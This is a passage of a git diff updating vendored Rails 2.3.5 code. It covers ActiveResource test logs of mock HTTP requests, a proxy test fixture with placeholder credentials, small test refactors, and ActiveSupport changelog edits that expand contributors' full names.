+I, [2009-10-15T17:27:45.083558 #85221]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-10-15T17:27:45.083760 #85221]  INFO -- : GET http://somewhere.else:80/people/1.xml
+I, [2009-10-15T17:27:45.083950 #85221]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T17:27:45.085359 #85221]  INFO -- : DELETE http://somewhere.else:80/people/1/deactivate.xml
+I, [2009-10-15T17:27:45.085470 #85221]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T17:27:45.085742 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-10-15T17:27:45.085842 #85221]  INFO -- : --> 200 200 (120 0ms)
+I, [2009-10-15T17:27:45.087296 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1/deep.xml
+I, [2009-10-15T17:27:45.087408 #85221]  INFO -- : --> 200 200 (139 0ms)
+I, [2009-10-15T17:27:45.088827 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-10-15T17:27:45.088925 #85221]  INFO -- : --> 200 200 (120 0ms)
+I, [2009-10-15T17:27:45.090192 #85221]  INFO -- : PUT http://37s.sunrise.i:3000/people/1/addresses/1/normalize_phone.xml?locale=US
+I, [2009-10-15T17:27:45.090325 #85221]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-10-15T17:27:45.093032 #85221]  INFO -- : POST http://somewhere.else:80/people/new/register.xml
+I, [2009-10-15T17:27:45.093157 #85221]  INFO -- : --> 201 201 (78 0ms)
+I, [2009-10-15T17:27:45.093871 #85221]  INFO -- : POST http://37s.sunrise.i:3000/people/1/addresses/new/link.xml
+I, [2009-10-15T17:27:45.093958 #85221]  INFO -- : --> 201 201 (92 0ms)
+I, [2009-10-15T17:27:45.094544 #85221]  INFO -- : POST http://somewhere.else:80/people/1/register.xml
+I, [2009-10-15T17:27:45.094645 #85221]  INFO -- : --> 201 201 (106 0ms)
+I, [2009-10-15T17:27:45.096945 #85221]  INFO -- : GET http://somewhere.else:80/people/managers.xml
+I, [2009-10-15T17:27:45.097080 #85221]  INFO -- : --> 200 200 (146 0ms)
+I, [2009-10-15T17:27:45.106455 #85221]  INFO -- : GET http://somewhere.else:80/people.xml
+I, [2009-10-15T17:27:45.106599 #85221]  INFO -- : --> 200 200 (222 0ms)
+I, [2009-10-15T17:27:45.116771 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses.xml
+I, [2009-10-15T17:27:45.116912 #85221]  INFO -- : --> 200 200 (166 0ms)
+I, [2009-10-15T17:27:45.126942 #85221]  INFO -- : GET http://somewhere.else:80/people.xml
+I, [2009-10-15T17:27:45.127149 #85221]  INFO -- : --> 200 200 (222 0ms)
+I, [2009-10-15T17:27:45.190478 #85221]  INFO -- : GET http://somewhere.else:80/companies/1/people.xml
+I, [2009-10-15T17:27:45.190632 #85221]  INFO -- : --> 200 200 (147 0ms)
+I, [2009-10-15T17:27:45.199922 #85221]  INFO -- : GET http://somewhere.else:80/companies/1/people.xml
+I, [2009-10-15T17:27:45.200063 #85221]  INFO -- : --> 200 200 (147 0ms)
+I, [2009-10-15T17:27:45.209289 #85221]  INFO -- : GET http://somewhere.else:80/people/managers.xml
+I, [2009-10-15T17:27:45.209423 #85221]  INFO -- : --> 200 200 (147 0ms)
+I, [2009-10-15T17:27:45.218676 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses.xml
+I, [2009-10-15T17:27:45.218811 #85221]  INFO -- : --> 200 200 (166 0ms)
+I, [2009-10-15T17:27:45.228083 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/2/addresses.xml
+I, [2009-10-15T17:27:45.228243 #85221]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-10-15T17:27:45.235835 #85221]  INFO -- : GET http://somewhere.else:80/people/1.xml
+I, [2009-10-15T17:27:45.235976 #85221]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T17:27:45.245082 #85221]  INFO -- : GET http://somewhere.else:80/people/99.xml
+I, [2009-10-15T17:27:45.245228 #85221]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-10-15T17:27:45.245518 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people//addresses/1.xml
+I, [2009-10-15T17:27:45.245608 #85221]  INFO -- : --> 404 404 (0 0ms)
+I, [2009-10-15T17:27:45.252939 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+I, [2009-10-15T17:27:45.253058 #85221]  INFO -- : --> 200 200 (120 0ms)
+I, [2009-10-15T17:27:45.261897 #85221]  INFO -- : GET http://somewhere.else:80/people.xml
+I, [2009-10-15T17:27:45.262049 #85221]  INFO -- : --> 200 200 (222 0ms)
+I, [2009-10-15T17:27:45.272692 #85221]  INFO -- : GET http://somewhere.else:80/people.xml
+I, [2009-10-15T17:27:45.272853 #85221]  INFO -- : --> 200 200 (222 0ms)
+I, [2009-10-15T17:27:45.283032 #85221]  INFO -- : GET http://somewhere.else:80/companies/1/manager.xml
+I, [2009-10-15T17:27:45.283172 #85221]  INFO -- : --> 200 200 (107 0ms)
+I, [2009-10-15T17:27:45.292057 #85221]  INFO -- : GET http://somewhere.else:80/people/leader.xml
+I, [2009-10-15T17:27:45.292189 #85221]  INFO -- : --> 200 200 (107 0ms)
+I, [2009-10-15T17:27:45.301058 #85221]  INFO -- : GET http://somewhere.else:80/people.xml
+I, [2009-10-15T17:27:45.301208 #85221]  INFO -- : --> 200 200 (222 0ms)
+I, [2009-10-15T17:27:45.311322 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses.xml
+I, [2009-10-15T17:27:45.311470 #85221]  INFO -- : --> 200 200 (166 0ms)
+I, [2009-10-15T17:27:45.320899 #85221]  INFO -- : GET http://somewhere.else:80/people.xml
+I, [2009-10-15T17:27:45.321048 #85221]  INFO -- : --> 200 200 (222 0ms)
+I, [2009-10-15T17:27:45.330944 #85221]  INFO -- : GET http://37s.sunrise.i:3000/people/1/addresses.xml
+I, [2009-10-15T17:27:45.331085 #85221]  INFO -- : --> 200 200 (166 0ms)
+I, [2009-10-15T17:27:45.388846 #85221]  INFO -- : GET http://somewhere.else:80/people.json
+I, [2009-10-15T17:27:45.389013 #85221]  INFO -- : --> 200 200 (48 0ms)
+I, [2009-10-15T17:27:45.390447 #85221]  INFO -- : GET http://somewhere.else:80/people.xml
+I, [2009-10-15T17:27:45.390588 #85221]  INFO -- : --> 200 200 (224 0ms)
+I, [2009-10-15T17:27:45.395324 #85221]  INFO -- : GET http://somewhere.else:80/people/retrieve.json?name=David
+I, [2009-10-15T17:27:45.395483 #85221]  INFO -- : --> 200 200 (25 0ms)
+I, [2009-10-15T17:27:45.396943 #85221]  INFO -- : GET http://somewhere.else:80/people/retrieve.xml?name=David
+I, [2009-10-15T17:27:45.397122 #85221]  INFO -- : --> 200 200 (149 0ms)
+I, [2009-10-15T17:27:45.399485 #85221]  INFO -- : GET http://somewhere.else:80/people/2.json
+I, [2009-10-15T17:27:45.399606 #85221]  INFO -- : --> 200 200 (23 0ms)
+I, [2009-10-15T17:27:45.400026 #85221]  INFO -- : GET http://somewhere.else:80/people/2/shallow.json
+I, [2009-10-15T17:27:45.400108 #85221]  INFO -- : --> 200 200 (23 0ms)
+I, [2009-10-15T17:27:45.401163 #85221]  INFO -- : GET http://somewhere.else:80/people/2.xml
+I, [2009-10-15T17:27:45.401274 #85221]  INFO -- : --> 200 200 (103 0ms)
+I, [2009-10-15T17:27:45.402804 #85221]  INFO -- : GET http://somewhere.else:80/people/2/shallow.xml
+I, [2009-10-15T17:27:45.402903 #85221]  INFO -- : --> 200 200 (103 0ms)
+I, [2009-10-15T17:27:45.404815 #85221]  INFO -- : POST http://somewhere.else:80/people.json
+I, [2009-10-15T17:27:45.404969 #85221]  INFO -- : --> 201 201 (15 0ms)
+I, [2009-10-15T17:27:45.405422 #85221]  INFO -- : POST http://somewhere.else:80/people/new/register.json
+I, [2009-10-15T17:27:45.405501 #85221]  INFO -- : --> 201 201 (15 0ms)
+I, [2009-10-15T17:27:45.406207 #85221]  INFO -- : POST http://somewhere.else:80/people.xml
+I, [2009-10-15T17:27:45.406290 #85221]  INFO -- : --> 201 201 (74 0ms)
+I, [2009-10-15T17:27:45.407697 #85221]  INFO -- : POST http://somewhere.else:80/people/new/register.xml
+I, [2009-10-15T17:27:45.407790 #85221]  INFO -- : --> 201 201 (74 0ms)
+I, [2009-10-15T17:27:45.408327 #85221]  INFO -- : GET http://somewhere.else:80/people/1.json
+I, [2009-10-15T17:27:45.408427 #85221]  INFO -- : --> 200 200 (23 0ms)
+I, [2009-10-15T17:27:45.409527 #85221]  INFO -- : GET http://somewhere.else:80/people/1.xml
+I, [2009-10-15T17:27:45.409763 #85221]  INFO -- : --> 200 200 (103 0ms)
+I, [2009-10-15T17:27:45.414594 #85221]  INFO -- : POST http://somewhere.else:80/people.json
+I, [2009-10-15T17:27:45.414736 #85221]  INFO -- : --> 201 201 (50 0ms)
+I, [2009-10-15T17:27:45.416124 #85221]  INFO -- : POST http://somewhere.else:80/people.xml
+I, [2009-10-15T17:27:45.416209 #85221]  INFO -- : --> 201 201 (132 0ms)
+I, [2009-10-15T17:27:45.419161 #85221]  INFO -- : POST http://somewhere.else:80/people.xml
+I, [2009-10-15T17:27:45.419285 #85221]  INFO -- : --> 201 201 (106 0ms)
+I, [2009-10-15T17:27:45.422452 #85221]  INFO -- : GET http://somewhere.else:80/people/1.xml
+I, [2009-10-15T17:27:45.422613 #85221]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T17:27:45.424155 #85221]  INFO -- : DELETE http://somewhere.else:80/people/1.xml
+I, [2009-10-15T17:27:45.424256 #85221]  INFO -- : --> 200 200 (0 0ms)
+I, [2009-10-15T17:27:45.425208 #85221]  INFO -- : GET http://somewhere.else:80/people/1.xml
+I, [2009-10-15T17:27:45.425363 #85221]  INFO -- : --> 200 200 (106 0ms)
+I, [2009-10-15T17:27:45.427631 #85221]  INFO -- : PUT http://somewhere.else:80/people/1.xml
+I, [2009-10-15T17:27:45.427799 #85221]  INFO -- : --> 204 204 (0 0ms)
+I, [2009-10-15T17:27:45.431576 #85221]  INFO -- : POST http://37s.sunrise.i:3000/projects.xml
+I, [2009-10-15T17:27:45.431716 #85221]  INFO -- : --> 201 201 (123 0ms)
+I, [2009-10-15T17:27:45.435104 #85221]  INFO -- : POST http://37s.sunrise.i:3000/projects.xml
+I, [2009-10-15T17:27:45.435230 #85221]  INFO -- : --> 201 201 (123 0ms)
diff --git a/vendor/rails/activeresource/test/fixtures/proxy.rb b/vendor/rails/activeresource/test/fixtures/proxy.rb
new file mode 100644
index 00000000..bb8e015d
--- /dev/null
+++ b/vendor/rails/activeresource/test/fixtures/proxy.rb
@@ -0,0 +1,4 @@
+class ProxyResource < ActiveResource::Base
+  self.site = "http://localhost"
+  self.proxy = "http://user:password@proxy.local:3000"
+end
\ No newline at end of file
diff --git a/vendor/rails/activeresource/test/format_test.rb b/vendor/rails/activeresource/test/format_test.rb
index a564ee01..c3733e13 100644
--- a/vendor/rails/activeresource/test/format_test.rb
+++ b/vendor/rails/activeresource/test/format_test.rb
@@ -15,7 +15,7 @@ class FormatTest < Test::Unit::TestCase
     assert_equal 'Accept', header_name
 
     headers_names = [ActiveResource::Connection::HTTP_FORMAT_HEADER_NAMES[:put], ActiveResource::Connection::HTTP_FORMAT_HEADER_NAMES[:post]]
-    headers_names.each{|header_name| assert_equal 'Content-Type', header_name}
+    headers_names.each{ |name| assert_equal 'Content-Type', name }
   end
 
   def test_formats_on_single_element
@@ -85,20 +85,20 @@ class FormatTest < Test::Unit::TestCase
   end
 
   def test_serialization_of_nested_resource
-   address  = { :street => '12345 Street' }
-   person  = { :name=> 'Rus', :address => address}
+    address  = { :street => '12345 Street' }
+    person  = { :name=> 'Rus', :address => address}
 
-   [:json, :xml].each do |format|
-     encoded_person = ActiveResource::Formats[format].encode(person)
-     assert_match /12345 Street/, encoded_person
-     remote_person = Person.new(person.update({:address => StreetAddress.new(address)}))
-     assert_kind_of StreetAddress, remote_person.address
-     using_format(Person, format) do
-       ActiveResource::HttpMock.respond_to.post "/people.#{format}", {'Content-Type' => ActiveResource::Formats[format].mime_type}, encoded_person, 201, {'Location' => "/people/5.#{format}"}
-       remote_person.save
-     end
-   end
- end
+    [:json, :xml].each do |format|
+      encoded_person = ActiveResource::Formats[format].encode(person)
+      assert_match(/12345 Street/, encoded_person)
+      remote_person = Person.new(person.update({:address => StreetAddress.new(address)}))
+      assert_kind_of StreetAddress, remote_person.address
+      using_format(Person, format) do
+        ActiveResource::HttpMock.respond_to.post "/people.#{format}", {'Content-Type' => ActiveResource::Formats[format].mime_type}, encoded_person, 201, {'Location' => "/people/5.#{format}"}
+        remote_person.save
+      end
+    end
+  end
 
   private
     def using_format(klass, mime_type_reference)
diff --git a/vendor/rails/activeresource/test/setter_trap.rb b/vendor/rails/activeresource/test/setter_trap.rb
index 9a899b0f..7cfd9ca1 100644
--- a/vendor/rails/activeresource/test/setter_trap.rb
+++ b/vendor/rails/activeresource/test/setter_trap.rb
@@ -1,9 +1,8 @@
 class SetterTrap < ActiveSupport::BasicObject
   class << self
     def rollback_sets(obj)
-      returning yield(setter_trap = new(obj)) do
-        setter_trap.rollback_sets
-      end
+      trapped = new(obj)
+      yield(trapped).tap { trapped.rollback_sets }
     end
   end
 
diff --git a/vendor/rails/activesupport/CHANGELOG b/vendor/rails/activesupport/CHANGELOG
index 1cd5e584..41f63c46 100644
--- a/vendor/rails/activesupport/CHANGELOG
+++ b/vendor/rails/activesupport/CHANGELOG
@@ -1,14 +1,87 @@
-*2.2 (November 21st, 2008)*
+*2.3.5 (November 25, 2009)*
+
+* Minor Bug Fixes and deprecation warnings
+
+* Fixes for the Nokogiri backend for XmlMini
+
+* Ruby 1.9 Compatibility
+
+*2.3.4 (September 4, 2009)*
+
+* Introduce ActiveSupport::Multibyte.clean to clean invalid multibyte strings.
+
+* Bug fixes
+
+*2.3.3 (July 12, 2009)*
+
+* JSON: +Object#to_json+ calls +as_json+ to coerce itself into something natively encodable like +Hash+, +Integer+, or +String+. Override +as_json+ instead of +to_json+ so you're JSON-library-agnostic.  [Jeremy Kemper]
+
+* Allow MemCacheStore to be initialized with a MemCache-like object instead of addresses and options [Bryan Helmkamp]
+
+
+*2.3.2 [Final] (March 15, 2009)*
+
+* XmlMini supports LibXML and Nokogiri backends.  #2084, #2190 [Bart ten Brinke, Aaron Patterson]
+    Example: XmlMini.backend = 'Nokogiri'
+
+* Vendorize i18n 0.1.3 gem (fixes issues with incompatible character encodings in Ruby 1.9) #2038 [Akira Matsuda]
+
+* Update bundled memcache-client from 1.5.0.5 to 1.6.4.99. See http://www.mikeperham.com/2009/02/15/memcache-client-performance/  [Mike Perham]
+
+* Ruby 1.9.1p0 fix: URI.unescape can decode multibyte chars.  #2033 [MOROHASHI Kyosuke]
+
+* Time#to_s(:rfc822) uses #formatted_offset instead of unreliable and non-standard %z directive #1899 [Zachary Zolton]
+
+* Make TimeWithZone#to_formatted_s an alias to TimeWithZone#to_s #1796 [Levin Alexander]
+
+* Introduce Array.wrap(foo) to wrap the argument in an array unless it's already an array. Wraps nil as an empty array. Use instead of Array(foo) and foo.to_a since they treat String as Enumerable.  [Jeremy Kemper]
+
+* TimeWithZone#xmlschema accepts optional fraction_digits argument [#1725 state:resolved] [Nicholas Dainty]
+
+* Object#tap shim for Ruby < 1.8.7. Similar to Object#returning, tap yields self then returns self.  [Jeremy Kemper]
+    array.select { ... }.tap(&:inspect).map { ... }
+
+* TimeWithZone#- gives correct result with wrapped DateTime, and with DateTime argument [Geoff Buesing]
+
+* Updated i18n gem to version 0.1.1 #1635 [Yaroslav Markin]
+
+* Add :allow_nil option to delegate. #1127 [Sergio Gil]
+
+* Add Benchmark.ms convenience method to benchmark realtime in milliseconds.  [Jeremy Kemper]
+
+* Updated included memcache-client to the 1.5.0.5 version which includes fixes from fiveruns and 37signals to deal with failover and timeouts #1535 [Joshua Sierles]
+
+* Multibyte: add multibyte-safe Chars#ord rather than falling back to String#ord.  #1483 [Jason Cheow]
+
+* I18n support for Array#to_sentence. Introduces support.array.words_connector, .two_words_connector, and .last_word_connector translation keys.  #1397 [Akira Matsuda]
+
+* Added ActiveSupport::OrderedHash#each_key and ActiveSupport::OrderedHash#each_value #1410 [Christoffer Sawicki]
+
+* Added ActiveSupport::MessageVerifier and MessageEncryptor to aid users who need to store signed and/or encrypted messages. [Michael Koziarski]
+
+* Added ActiveSupport::BacktraceCleaner to cut down on backtrace noise according to filters and silencers [David Heinemeier Hansson]
+
+* Added Object#try. ( Taken from http://ozmm.org/posts/try.html ) [Chris Wanstrath]
+
+* Added Enumerable#none? to check that none of the elements match the block #1408 [Damian Janowski]
 
 * TimeZone offset tests: use current_period, to ensure TimeZone#utc_offset is up-to-date [Geoff Buesing]
 
 * Update bundled TZInfo to 0.3.12 [Geoff Buesing]
 
+* Added lambda merging to OptionMerger (especially useful with named_scope and with_options) #726 [Paweł Kondzior]
+
+
+*2.2.1 [RC2] (November 14th, 2008)*
+
 * Increment the version of our altered memcache-client to prevent confusion caused when the 1.5.0 gem is installed.
 
 * Fixed the option merging in Array#to_xml #1126 [Rudolf Gavlas]
 
-* Make I18n::Backend::Simple reload its translations in development mode [DHH/Sven Fuchs]
+* Make I18n::Backend::Simple reload its translations in development mode [David Heinemeier Hansson/Sven Fuchs]
+
+
+*2.2.0 [RC1] (October 24th, 2008)*
 
 * TimeWithZone#freeze: preload instance variables so that we can actually freeze [Geoff Buesing]
 
@@ -16,7 +89,7 @@
 
 * Time#advance recognizes fractional days and weeks. Deprecate Durations of fractional months and years #970 [Tom Lea]
 
-* Add ActiveSupport::Rescuable module abstracting ActionController::Base rescue_from features. [Norbert Crombach, Pratik]
+* Add ActiveSupport::Rescuable module abstracting ActionController::Base rescue_from features. [Norbert Crombach, Pratik Naik]
 
 * Switch from String#chars to String#mb_chars for the unicode proxy.  [Manfred Stienstra]
 
@@ -30,7 +103,7 @@
 
 * Added Inflector#parameterize for easy slug generation ("Donald E. Knuth".parameterize => "donald-e-knuth") #713 [Matt Darby]
 
-* Changed cache benchmarking to be reported in milliseconds [DHH]
+* Changed cache benchmarking to be reported in milliseconds [David Heinemeier Hansson]
 
 * Fix Ruby's Time marshaling bug in pre-1.9 versions of Ruby: utc instances are now correctly unmarshaled with a utc zone instead of the system local zone [#900 state:resolved] [Luca Guidi, Geoff Buesing]
 
@@ -46,7 +119,7 @@
 
 * Move the test related core_ext stuff out of core_ext so it's only loaded by the test helpers.  [Michael Koziarski]
 
-* Add Inflection rules for String#humanize. #535 [dcmanges]
+* Add Inflection rules for String#humanize. #535 [Dan Manges]
 
   ActiveSupport::Inflector.inflections do |inflect|
     inflect.human(/_cnt$/i, '\1_count')
@@ -58,19 +131,19 @@
 
 * Added TimeZone #=~, to support matching zones by regex in time_zone_select. #195 [Ernie Miller]
 
-* Added Array#second through Array#fifth as aliases for Array#[1] through Array#[4] + Array#forty_two as alias for Array[41] [DHH]
+* Added Array#second through Array#fifth as aliases for Array#[1] through Array#[4] + Array#forty_two as alias for Array[41] [David Heinemeier Hansson]
 
 * Added test/do declaration style testing to ActiveSupport::TestCase [DHH via Jay Fields]
 
-* Added Object#present? which is equivalent to !Object#blank? [DHH]
+* Added Object#present? which is equivalent to !Object#blank? [David Heinemeier Hansson]
 
-* Added Enumberable#many? to encapsulate collection.size > 1 [DHH/Damian Janowski]
+* Added Enumberable#many? to encapsulate collection.size > 1 [David Heinemeier Hansson/Damian Janowski]
 
 * Add more standard Hash methods to ActiveSupport::OrderedHash [Steve Purcell]
 
 * Namespace Inflector, Dependencies, OrderedOptions, and TimeZone under ActiveSupport [Josh Peek]
 
-* Added StringInquirer for doing things like StringInquirer.new("production").production? # => true and StringInquirer.new("production").development? # => false [DHH]
+* Added StringInquirer for doing things like StringInquirer.new("production").production? # => true and StringInquirer.new("production").development? # => false [David Heinemeier Hansson]
 
 * Fixed Date#end_of_quarter to not blow up on May 31st [#289 state:resolved] (Danger)
 
@@ -107,7 +180,7 @@
 
 * TimeWithZone respects config.active_support.use_standard_json_time_format [Geoff Buesing]
 
-* Add config.active_support.escape_html_entities_in_json to allow disabling of html entity escaping.  [rick]
+* Add config.active_support.escape_html_entities_in_json to allow disabling of html entity escaping.  [Rick Olson]
 
 * Improve documentation. [Xavier Noria]
 
@@ -119,7 +192,7 @@
 
 * TimeWithZone#method_missing: send to utc to advance with dst correctness, otherwise send to time. Adding tests for time calculations methods [Geoff Buesing]
 
-* Add config.active_support.use_standard_json_time_format setting so that Times and Dates export to ISO 8601 dates.  [rick]
+* Add config.active_support.use_standard_json_time_format setting so that Times and Dates export to ISO 8601 dates.  [Rick Olson]
 
 * TZInfo: Removing unneeded TimezoneProxy class [Geoff Buesing]
 
@@ -137,9 +210,9 @@
 
 * TimeWithZone#usec returns 0 instead of error when DateTime is wrapped [Geoff Buesing]
 
-* Improve documentation. [Radar, Jan De Poorter, chuyeow, xaviershay, danger, miloops, Xavier Noria,  Sunny Ripert]
+* Improve documentation. [Ryan Bigg, Jan De Poorter, Cheah Chu Yeow, Xavier Shay, Jack Danger Canty, Emilio Tagua, Xavier Noria,  Sunny Ripert]
 
-* Ensure that TimeWithZone#to_yaml works when passed a YAML::Emitter.  [rick]
+* Ensure that TimeWithZone#to_yaml works when passed a YAML::Emitter.  [Rick Olson]
 
 * Ensure correct TimeWithZone#to_date [Geoff Buesing]
 
@@ -171,7 +244,7 @@
 
 * Adding TimeWithZone #marshal_dump and #marshal_load [Geoff Buesing]
 
-* Add OrderedHash#to_hash [josh]
+* Add OrderedHash#to_hash [Josh Peek]
 
 * Adding Time#end_of_day, _quarter, _week, and _year.  #9312 [Juanjo Bazan, Tarmo Tänav, BigTitus]
 
@@ -181,9 +254,9 @@
 
 * TimeWithZone #+ and #- behave consistently with numeric arguments regardless of whether wrapped time is a Time or DateTime; consistenty answers false to #acts_like?(:date) [Geoff Buesing]
 
-* Add String#squish and String#squish! to remove consecutive chunks of whitespace.  #11123 [jordi, Henrik N]
+* Add String#squish and String#squish! to remove consecutive chunks of whitespace.  #11123 [Jordi Bunster, Henrik N]
 
-* Serialize BigDecimals as Floats when using to_yaml. #8746 [ernesto.jimenez]
+* Serialize BigDecimals as Floats when using to_yaml. #8746 [Ernesto Jimenez]
 
 * Adding TimeWithZone #to_yaml, #to_datetime, #eql? and method aliases for duck-typing compatibility with Time [Geoff Buesing]
 
@@ -201,7 +274,7 @@
 
 * TimeZone#new method renamed #local; when used with Time.zone, constructor now reads: Time.zone.local() [Geoff Buesing]
 
-* Added Base64.encode64s to encode values in base64 without the newlines. This makes the values immediately usable as URL parameters or memcache keys without further processing [DHH]
+* Added Base64.encode64s to encode values in base64 without the newlines. This makes the values immediately usable as URL parameters or memcache keys without further processing [David Heinemeier Hansson]
 
 * Remove :nodoc: entries around the ActiveSupport test/unit assertions.  #10946 [dancroak, jamesh]
 
@@ -209,7 +282,7 @@
 
 * cache.fetch(key, :force => true) to force a cache miss.  [Jeremy Kemper]
 
-* Support retrieving TimeZones with a Duration.  TimeZone[-28800] == TimeZone[-480.minutes].  [rick]
+* Support retrieving TimeZones with a Duration.  TimeZone[-28800] == TimeZone[-480.minutes].  [Rick Olson]
 
 * TimeWithZone#- added, so that #- can handle a Time or TimeWithZone argument correctly [Geoff Buesing]
 
@@ -257,21 +330,21 @@
 
 * TestCase: introduce declared setup and teardown callbacks. Pass a list of methods and an optional block to call before setup or after teardown. Setup callbacks are run in the order declared; teardown callbacks are run in reverse.  [Jeremy Kemper]
 
-* Added ActiveSupport::Gzip.decompress/compress(source) as an easy wrapper for Zlib [Tobias Luetke]
+* Added ActiveSupport::Gzip.decompress/compress(source) as an easy wrapper for Zlib [Tobias Lütke]
 
 * Included MemCache-Client to make the improved ActiveSupport::Cache::MemCacheStore work out of the box [Bob Cottrell, Eric Hodel]
 
-* Added ActiveSupport::Cache::* framework as an extraction from ActionController::Caching::Fragments::* [DHH]
+* Added ActiveSupport::Cache::* framework as an extraction from ActionController::Caching::Fragments::* [David Heinemeier Hansson]
 
 * Fixed String#titleize to work for strings with 's too #10571 [trek]
 
-* Changed the implementation of Enumerable#group_by to use a double array approach instead of a hash such that the insert order is honored [DHH/Marcel]
+* Changed the implementation of Enumerable#group_by to use a double array approach instead of a hash such that the insert order is honored [David Heinemeier Hansson/Marcel Molina Jr.]
 
-* remove multiple enumerations from ActiveSupport::JSON#convert_json_to_yaml when dealing with date/time values.  [rick]
+* remove multiple enumerations from ActiveSupport::JSON#convert_json_to_yaml when dealing with date/time values.  [Rick Olson]
 
 * Hash#symbolize_keys skips keys that can't be symbolized.  #10500 [Brad Greenlee]
 
-* Ruby 1.9 compatibility.  #1689, #10466, #10468, #10554, #10594, #10632 [Cheah Chu Yeow, Pratik Naik, Jeremy Kemper, Dirkjan Bussink, fxn]
+* Ruby 1.9 compatibility.  #1689, #10466, #10468, #10554, #10594, #10632 [Cheah Chu Yeow, Pratik Naik, Jeremy Kemper, Dirkjan Bussink, Xavier Noria]
 
 * TimeZone#to_s uses UTC rather than GMT.  #1689 [Cheah Chu Yeow]
 
@@ -282,7 +355,7 @@
 
 *2.0.1* (December 7th, 2007)
 
-* Added Array#from and Array#to that behaves just from String#from and String#to [DHH]
+* Added Array#from and Array#to that behaves just from String#from and String#to [David Heinemeier Hansson]
 
 * Fix that empty collections should be treated as empty arrays regardless of whitespace for Hash#from_xml #10255 [adamj]
 
@@ -290,17 +363,17 @@
 
 * Change Time and DateTime #end_of_month to return last second of month instead of beginning of last day of month. Closes #10200 [Geoff Buesing]
 
-* Speedup String#blank?  [Jeremy Kemper, Koz]
+* Speedup String#blank?  [Jeremy Kemper, Michael Koziarski]
 
 * Add documentation for Hash#diff. Closes #9306 [Tarmo Tänav]
 
-* Add new superclass_delegating_accessors.  Similar to class inheritable attributes but with subtly different semantics. [Koz, Tarmo Tänav]
+* Add new superclass_delegating_accessors.  Similar to class inheritable attributes but with subtly different semantics. [Michael Koziarski, Tarmo Tänav]
 
 * Change JSON to encode %w(< > &) as 4 digit hex codes to be in compliance with the JSON spec.  Closes #9975 [Josh Peek, Cheah Chu Yeow, Tim Pope]
 
-* Fix JSON encoding/decoding bugs dealing with /'s.  Closes #9990 [Rick, theamazingrando]
+* Fix JSON encoding/decoding bugs dealing with /'s.  Closes #9990 [Rick Olson, theamazingrando]
 
-* Introduce a base class for all test cases used by rails applications. ActiveSupport::TestCase [Koz]
+* Introduce a base class for all test cases used by rails applications. ActiveSupport::TestCase [Michael Koziarski]
 
   The intention is to use this to reduce the amount of monkeypatching / overriding that 
   is done to test/unit's classes.
@@ -353,13 +426,13 @@
 
 * Backport Object#instance_variable_defined? for Ruby < 1.8.6.  [Jeremy Kemper]
 
-* BufferedLogger#add converts the message to a string.  #9702, #9724 [eigentone, DrMark, tomafro]
+* BufferedLogger#add converts the message to a string.  #9702, #9724 [eigentone, DrMark, Tom Ward]
 
-* Added ActiveSupport::BufferedLogger as a duck-typing alternative (albeit with no formatter) to the Ruby Logger, which provides a very nice speed bump (inspired by Ezra's buffered logger) [DHH]
+* Added ActiveSupport::BufferedLogger as a duck-typing alternative (albeit with no formatter) to the Ruby Logger, which provides a very nice speed bump (inspired by Ezra's buffered logger) [David Heinemeier Hansson]
 
 * Object#instance_exec produces fewer garbage methods.  [Mauricio Fernandez]
 
-* Decode json strings as Dates/Times if they're using a YAML-compatible format.  Closes #9614 [Rick]
+* Decode json strings as Dates/Times if they're using a YAML-compatible format.  Closes #9614 [Rick Olson]
 
 * Fixed cache_page to use the request url instead of the routing options when picking a save path.  #8614 [Josh Peek]
 
@@ -367,11 +440,11 @@
 
 * Fixed that pluralizing an empty string should return the same empty string, not "s".  #7720 [Josh Peek]
 
-* Added call to inspect on non-string classes for the logger #8533 [codahale]
+* Added call to inspect on non-string classes for the logger #8533 [Coda Hale]
 
 * Deprecation: remove deprecated :mday option from Time, Date, and DateTime#change.  [Jeremy Kemper]
 
-* Fix JSON decoder with nested quotes and commas.  #9579 [zdennis]
+* Fix JSON decoder with nested quotes and commas.  #9579 [Zach Dennis]
 
 * Hash#to_xml doesn't double-unescape.  #8806 [Ezran]
 
@@ -383,27 +456,27 @@
 
 * Deprecation: removed Reloadable.  [Jeremy Kemper]
 
-* Make the utf-handler return the correct value for non-matching regular expressions. Closes #9049 [manfred]
+* Make the utf-handler return the correct value for non-matching regular expressions. Closes #9049 [Manfred Stienstra]
 
-* Add ljust, rjust and center to utf8-handler. Closes #9165 [manfred]
+* Add ljust, rjust and center to utf8-handler. Closes #9165 [Manfred Stienstra]
 
-* Fix Time#advance bug when trying to advance a year from leap day.  Closes #8655 [gbuesing]
+* Fix Time#advance bug when trying to advance a year from leap day.  Closes #8655 [Geoff Buesing]
 
-* Add support for []= on ActiveSupport::Multibyte::Chars. Closes #9142. [ewan, manfred]
+* Add support for []= on ActiveSupport::Multibyte::Chars. Closes #9142. [ewan, Manfred Stienstra]
 
 * Added Array#extract_options! to encapsulate the pattern of getting an options hash out of a variable number of parameters.  #8759 [Norbert Crombach]
 
 * Let alias_attribute work with attributes with initial capital letters (legacy columns etc).  Closes #8596 [mpalmer]
 
-* Added Hash#except which is the inverse of Hash#slice -- return the hash except the keys that are specified [DHH]
+* Added Hash#except which is the inverse of Hash#slice -- return the hash except the keys that are specified [David Heinemeier Hansson]
 
-* Added support for pluralization with a different starting letter than the singular version (cow/kine) #4929 [norri_b/hasmanyjosh]
+* Added support for pluralization with a different starting letter than the singular version (cow/kine) #4929 [norri_b/Josh Susser]
 
